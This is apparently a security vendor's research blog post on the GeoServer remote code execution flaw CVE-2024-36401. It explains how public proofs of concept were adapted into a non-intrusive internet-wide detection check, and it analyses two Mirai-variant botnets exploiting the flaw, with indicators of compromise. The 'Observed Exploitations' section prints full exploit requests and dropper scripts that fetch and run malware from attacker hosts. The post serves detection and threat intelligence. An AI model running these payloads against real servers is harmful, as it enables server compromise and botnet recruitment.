GeoServer CVE-2024-36401: Tailoring a Public PoC to Enable High-Confidence Detection
Tags:
Introduction
At Bitsight, one of the responsibilities of the Vulnerability Research team is to develop fingerprinting methods to not only identify exposed services, but also vulnerabilities in those services. When it comes to detecting vulnerabilities, there are increased challenges depending on the complexity of both the vulnerability and the vulnerable service. Some vulnerabilities are easily identified by metadata provided by the service, while others have dependencies that we must identify to detect them correctly.
An example of a more nuanced vulnerability that presented challenges in identification is CVE-2024-36401, which affects GeoServer services, an open-source software for geospatial data sharing and processing, with a Remote Code Execution (RCE) vulnerability. While this may seem like an obscure service, it is moderately widespread, particularly within government and other geospatial-reliant sectors - such as transportation or industry, making the detection of this vulnerability especially critical.
This vulnerability was made public back in 2024, and we started supporting it in our product’s Vulnerability Detection Catalog shortly after it was added to the CISA Known Exploited Vulnerabilities (KEV) list. However, this year-old vulnerability has gained some traction again recently, as a new report has surfaced detailing how it was exploited by threat actors to compromise a federal civilian executive branch (FCEB) agency, deploying malware along the way. Alongside the recently published report, we have also detected recent exploitation attempts of this vulnerability.
Due to its complexity, directly porting public Proof-of-Concepts (PoCs) for large-scale detection is infeasible, as the exploitation of the vulnerability depends on some prerequisites that are customized by the application administrator during setup and normal usage.
In this blog post, we describe how we tailored publicly available PoCs for CVE-2024-36401 into a non-intrusive, high-confidence detection method suitable for internet-wide scanning, and we will also describe our observations in exploitation attempts of this vulnerability.
Problem statement
CVE-2024-36401 exploits an issue in evaluating property name expressions within GeoServer, enabling unauthenticated attackers to execute arbitrary code. While detection based on GeoServer’s version seemed promising at first, it presented several limitations:
- Downstream Patching and Configuration: Instances could apply patches or remove the vulnerable component without upgrading GeoServer.
- Version Inconsistencies: Not all GeoServer instances publicly exposed their version information.
- Configuration Dependencies: The vulnerability required specific configurations to be exploitable, particularly the presence of a user-defined
typeNameparameter in the setup.
These challenges required a more robust method for identifying vulnerable instances without intrusive exploitation. We turned to existing research and public PoCs to develop a tailored solution.
Vulnerability Analysis
Test Environment
To replicate the conditions necessary for exploiting the vulnerability, we set up two Docker containers:
docker run -p 8085:8080 kartoza/geoserver:2.25.0 # Vulnerable version docker run -p 8086:8080 kartoza/geoserver:2.25.2 # Patched version
Following the configuration guidance from Keysight’s blog post, we ensured the typeName parameter was defined in both instances, as this is a prerequisite for exploitation.
Root cause
When we dive a bit deeper into the vulnerability, we can understand that it stems from how GeoServer processes user-supplied input via XPath, a language designed for querying XML documents. GeoServer utilizes the commons-jxpath library to handle these XPath expressions.
In vulnerable GeoServer instances, the dynamic evaluation of these XPath expressions, which should be strictly confined to complex feature types (like Application Schema data stores), is also executed for simple feature types that can be user-supplied. This creates a significant security risk, as it opens the possibility for arbitrary code execution when processing maliciously crafted input.
Figure 1 - Fix for CVE-2024-36401 implemented in [GEOT-7587] Improve handling of XPath expressions
In the fix, the developers created a newSafeContext method that encapsulates this evaluation so it does not allow for code execution.
GeoServer “FeatureTypes”
GeoServer is a software that handles geospatial data, and it abstracts the concept of Feature Types, “which define the schema for features in a geospatial dataset, specifying the properties that each feature can have - analogous to columns in a database table. This schema is critical in managing geospatial data.”
These are important because it’s during the processing of these Feature Types that the unsafe evaluation of the XPath expressions occurs.
In the normal initial usage of the application, an administrator will create a Feature Type in the application, in the format: namespace:featuretype - for example, bitsight:randomFeature
The publicly known exploits
At the time of our research, there were a few write-ups available already for this vulnerability, accompanied by their own Proof of Concepts, such as Vicarius.io - GeoServer RCE (CVE-2024-36401), and Keysight - CVE-2024-36401: A Remote Code Execution Vulnerability in GeoServer. However, as we highlighted below, the already available PoCs had two issues that prevented us from porting them directly onto our detection engine:
Problem #1: Intrusiveness - the used payloads attempted to achieve remote code execution and confirm the existence of the vulnerability by leveraging this code execution to make a callback to the attacker’s server, or to create a file on the server. This is not something that we can do at an internet scale, as we refrain from performing any detection technique that might cause a state-changing operation in the target.
Problem #2: Scalability - the used payloads need the featureType parameter that we explained above, which depends on each of the targets’ initial configuration. In the below PoCs, they either used a parameter that needs to be supplied by the attacker when executing it, or a hardwired parameter that would only work against that researcher’s environment, since he configured his GeoServer server with the workspace:states feature type.
Figure 2 - PoC from https://github.com/bigb0x/CVE-2024-36401/ - using an attacker-supplied parameter type, and using an RCE payload to trigger a callback.
Figure 3 - PoC from https://www.keysight.com/blogs/en/tech/nwvs/2024/09/03/cve-2024-36401-rce-in-geoserver - using a hard-coded workspace:states parameter type, and using an RCE payload to create a file on the server.
Detecting it safely, and at scale
Given these two problems, our focus now shifts towards tweaking the payload itself to solve them.
For the first one, we quickly figured out a solution to make it significantly less intrusive. We found that we could discard the exec() Java directive altogether, and just use java.lang.Runtime.getRuntime().
Figure 4 - Vulnerable response from benign payload
Figure 5 - Patched response from benign payload
Vulnerable versions of the Geoserver software would reply with a 400 HTTP Status Code, as well as an error message containing a ClassCastException, while patched versions of the application would not try to dynamically interpret the invalid XPath expression, and instead reply with a 500 HTTP Status Code and the message No such attribute: java.lang.Runtime.getRuntime()
We later found out that the same request can be translated to a GET request instead, such as /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames={type_name}&valueReference=java.lang.Runtime.getRuntime%28%29&version=2.0.0, which simplifies our payload.
As for the second issue, it required us to dig deeper into other research, as well as into the software’s documentation itself. We needed to figure out an unauthenticated way to obtain a valid featureType from each of the instances before triggering our benign payload.
When reviewing some links and documentation, we found the following Stack Overflow Answer, and the respective functionality in the documentation:
Here, it states that there is an endpoint /geoserver/workspacename/ows?service=WFS&request=DescribeFeatureType, which will reply with a list of Feature Types for that GeoServer instance.
Figure 6 - Stack Overflow Answer regarding DescribeFeatureType
Figure 7 - GeoServer’s documentation regarding DescribeFeatureType
Leveraging this endpoint before, Problem #2 is now solved, and our detection logic will be finalized as follows:
- Issue a request to
/geoserver/workspacename/ows?service=WFS&request=DescribeFeatureType - Parse the response and retrieve a valid
featureTypevalue - Issue a request to
/geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames={type_name}&valueReference=java.lang.Runtime.getRuntime%28%29&version=2.0.0 - Parse the response
- If the response is a
400HTTP Status Code, containing an error message that includes aClassCastExceptionmessage, then it’s vulnerable to CVE-2024-36401
- If the response is a
Results
After CVE-2024-36401 was added to the CISA KEV, we implemented this detection capability into our product in September 2024. Around that time, we found 4606 GeoServer instances, of which 1071 were vulnerable to this vulnerability. Now, around 10 months later, we still support it, and this number has been reduced to approximately 2,074 GeoServer instances, from which 385 are still vulnerable to this CVE.
Observed Exploitations
Fingerprinting scans for GeoServer services are a common observation in our datasets, but around summertime, specifically between June and August, we observed exploitation attempts for CVE-2024-36401. These exploits were dropping a script with the purpose of recruiting vulnerable servers into botnets, which we detail next.
Vtubers Exploit
One of the exploits which we’ve named Vtubers, based on the name of the script being dropped, was sending the payload seen below in Fig. 8:
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec(java.lang.Runtime.getRuntime(),'curl -o vtubers.sh hxxp://15.204.119[.]129/vtubers.sh; chmod 777 vtubers.sh; sh vtubers.sh; rm -rf vtubers.sh') HTTP/1.1 Host: xx.xx.xx.xx:443
Figure 8 - Payload sent by the Vtubers exploit
This exploit tries to run `curl` to drop and run a script named `vtubers.sh`. We've observed at least 2 different versions of the `vtubers.sh` script, which are shown below in Fig. 9:
#!/bin/sh echo "hololive vtubers are the best!" wget hxxp://15.204.119[.]129/shion.vtubers curl hxxp://15.204.119[.]129/watame.vtubers
vtubers="amelia ayame fubuki gura haachama kiara korone laplus marine mori mumei okayu pekora shion subaru towa"
hololivepro="172.233.82[.]130"
if command -v wget >/dev/null 2>&1; then
for vtuber in $vtubers; do
wget -q "http://$hololivepro/$vtuber.vtuber" -O "$vtuber.vtuber"
chmod +x "$vtuber.vtuber"
./"$vtuber.vtuber"
rm -f "$vtuber.vtuber"
done
elif command -v curl >/dev/null 2>&1; then
for vtuber in $vtubers; do
curl -s -o "$vtuber.vtuber" "http://$hololivepro/$vtuber.vtuber"
chmod +x "$vtuber.vtuber"
./"$vtuber.vtuber"
rm -f "$vtuber.vtuber"
done
else
echo ":("
exit 1
fi
Figure 9 - Content of observed `vtubers.sh` script
Regarding the URLs in the first script, we were not able to find their content, but looking at the content of the second script we hypothesize that they’d have a similar functionality, where multiple binary files are fetched and run. The second script shows a common behaviour for payloads used in internet exposed devices, where binaries are compiled for multiple architectures, and then the implant script attempts to use either `curl` or `wget` to fetch the correct binary for the architecture.
We briefly looked at the binaries being dropped by the script to get a better understanding of the botnet, and based on the signatures provided by VirusTotal this botnet appears to be a Mirai variant, which has self-propagating and DDoS capabilities. We searched our telemetry for exploits dropping the same `vtubers.sh` script and found multiple payloads for different vulnerabilities, which align with the behaviour of Mirai. We only found 27 unique IPs related to this botnet for the year of 2025, indicating that at the time of writing the botnet is quite small in terms of potentially infected machines. For completeness, we’ve also extracted the indicators used as Command and Control (C2), which we share in the IoCs section.
Test Exploit
One other exploit we’ve observed is shown below in Fig. 10, which we've named test based on the payload name.
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec(java.lang.Runtime.getRuntime().exec("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/test.sh; curl -O hxxp://65.21.56[.]214/test.sh; chmod +x *; chmod 777 *; sh test.sh; ./test.sh; rm -rf * | sh")) HTTP/1.1
Host: xx.xx.xx.xx:8080
Accept: */*
Figure 10 - Payload sent by the test botnet
Similar to before, this exploit fetches and tries to run a script. Fig. 11 below shows the content of the script, which behaves identically to the previous botnet: `curl` and `wget` are used to fetch one binary that works for the exploited service architecture.
#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86; curl -O hxxp://65.21.56[.]214/systemcl/x86; cat x86 > unk.x86; chmod +x *; ./unk.x86 x86; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mips; curl -O hxxp://65.21.56[.]214/systemcl/mips; cat mips > unk.mips; chmod +x *; ./unk.mips mips; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arc; curl -O hxxp://65.21.56[.]214/systemcl/arc; cat arc > unk.arc ; chmod +x *; ./unk.arc arc; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i468; curl -O hxxp://65.21.56[.]214/systemcl/i468; cat i468 > unk.i468 ; chmod +x *; ./unk.i468 i468; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i686; curl -O hxxp://65.21.56[.]214/systemcl/i686; cat i686 > unk.i686 ; chmod +x *; ./unk.i686 i686; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86_64; curl -O hxxp://65.21.56[.]214/systemcl/x86_64; cat x86_64 > unk.x68_64 ; chmod +x *; ./unk.x86_64 x86_64; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mpsl; curl -O hxxp://65.21.56[.]214/systemcl/mpsl; cat mpsl > unk.mpsl ; chmod +x *; ./unk.mpsl mpsl; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm; curl -O hxxp://65.21.56[.]214/systemcl/arm; cat arm > unk.arm ; chmod +x *; ./unk.arm arm; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm5; curl -O hxxp://65.21.56[.]214/systemcl/arm5; cat arm5 > unk.arm5 ; chmod +x *; ./unk.arm5 arm5; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm6; curl -O hxxp://65.21.56[.]214/systemcl/arm6; cat arm6 > unk.arm6 ; chmod +x *; ./unk.arm6 arm6; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm7; curl -O hxxp://65.21.56[.]214/systemcl/arm7; cat arm7 > unk.arm7 ; chmod +x *; ./unk.arm7 arm7; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/ppc; curl -O hxxp://65.21.56[.]214/systemcl/ppc; cat ppc > unk.ppc ; chmod +x *; ./unk.ppc ppc; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/spc; curl -O hxxp://65.21.56[.]214/systemcl/spc; cat spc > unk.spc ; chmod +x *; ./unk.spc spc; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/m68k; curl -O hxxp://65.21.56[.]214/systemcl/m68k; cat m68k > unk.m68k ; chmod +x *; ./unk.m68k m68k; rm -rf * cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/sh4; curl -O hxxp://65.21.56[.]214/systemcl/sh4; cat sh4 > unk.sh4 ; chmod +x *; ./unk.sh4 sh4; rm -rf *
Figure 11 - Script `test.sh` content
This second botnet is identical to the previous one in terms of behaviour. Based on signatures for the binaries dropped by the script, we also believe this is a Mirai variant but from a different threat actor. We've only identified 6 unique IPs using the same `test.sh` script, but we also note that this threat actor segregates their infrastructure more, as the IPs hosting the scripts differ from the ones used as C2 for the botnet; hence, we might not have the complete picture for this botnet.
Conclusion
CVE-2024-36401 highlights the importance of not taking publicly available PoCs at face value, as some of them might be tested only against the researchers’ own environments. At Bitsight, part of the responsibility of the vulnerability research team is, even when PoCs for a certain vulnerability are already public, making sure that they are not only safe to use but also that they are accurate when loaded for an at-scale detection scenario. We also show that even though the vulnerability is not new, threat actors are exploiting it, which reinforces why enterprises should control their exposure using services like Bitsight’s Security Performance Management and Continuous Monitoring.
IoCs
| SHA256 | Details |
|---|---|
| 962949acaad7d8d626893abfb746db37a1bbf680ec0ce4d9d993deb82539f627 | Vtubers botnet binaries hosted by 172.233.82[.]130 |
| 611737dd350548f3dd1ed7b3e657d4fbcea68c3c04aee8b4a372c647f3db7853 | |
| 80ce552aaa53902ad9505e9a6f47bfd93ba4d1e2513af7f2d6b32e169bfe127 | |
| caf58369b34126be4f46efed96ecab81b2c4f16feced00b34ea0423abd743c29 | |
| d23686d396824086497b65b5b2443c4c07a60fd157d13ec904f662e21405bad | |
| 10212aa94ba13323cf27b190b1f784252bc8358cdccac2ccb82991183ec25cd | |
| c0b89dfce895a832eafa06bb8419780e74afa895d7a48ff7d8c53ded9a5374 | |
| 59f2a4503647d69bcdba4ff68442e97550eed0d4bf13f49ad2f4f77119fa864 | |
| 9fe88c7d94383284cf26ab9a3936b4d984118ede03aacd3f1a7e80d18740894 | |
| f2013cb532946fda1dfc42cde8e8a36aa61be1f4a177e7aef633a8c7918871f3 | |
| 3b4b682c2acb9ca965bb602ff42581c41cfbfb08d195bfed65410294f608bfad | |
| 87435f5450f563794447a982789a1fbee1b79207b2997338c75e527b057ac | |
| 3aad43f537977b132d96ed9604e0f2fdbe3ad78d19a33e3768cd79be3808d0a | |
| ecf86e7430e1cfd701a7890c65c29da8da84f5cd88a8198e98924436c7bfc2 | |
| dafb6cfaab8ef0c98d9c3bb38d837a12a1b3a29f77dc7c0eb71d6cca81b89264 | |
| 74ec1545696cfcf4fe57fe27da1218e82c4da87ca6eb34db98068f1dc769d275 | |
| d2ba3ef8af026fd0d2d33248c42236bec5b944b668f5ebc7cdba2b04cc4b9fd4 | Test botnet binaries hosted by 65.21.56[.]1214 |
| da0d7ca9995e5a056755058fbb3b37e301d854808f580edcad5898541285e7d1 | |
| ada7225e886f9c2c8e88f94d5c04a8bf564f3cebd989342eb183e5c628a072da | |
| 56a9e38649a022dd11c43974aa709860f585b9655e85fe2901b3201d03165762 | |
| fd327e197d291bdcdbaf7382c8f37f7f19c9956991323794ed529c8281bae73 | |
| bf3f6daad4aabe72c30eb64407dfba52b15e6c108c6502d44c57a72b655279891 | |
| 1cbdc275caff194fc4eded354e7604d3b189a9ee5d5532370cb1db3676158704 |
| Domain/IP | Details |
|---|---|
| 217.113.49[.]161 | IP sending the exploit for the Vtubers botnet |
| okayuthefoodiecat.mozicloud[.]org | Domains used by the Vtubers botnet |
| hololive.mozicloud[.]org | |
| holohouse.uwunekochan[.]com | |
| vtubers.uwunekochan[.]com | |
| 15.204.119[.]129 | IP hosting binaries, scripts and C2 for the Vtubers botnet |
| 172.233.82[.]130 | |
| 185.194.177[.]60 | IP sending the exploit for the Test botnet |
| 65.21.56[.]214 | IP hosting binaries and scripts for the Test botnet |
| zrysdxnzmo.antiwifi[.]cc | Domains used by the Test botnet |
| jmanga[.]co | |
| 87.121.84[.]60 | IP used as C2 for the Test botnet |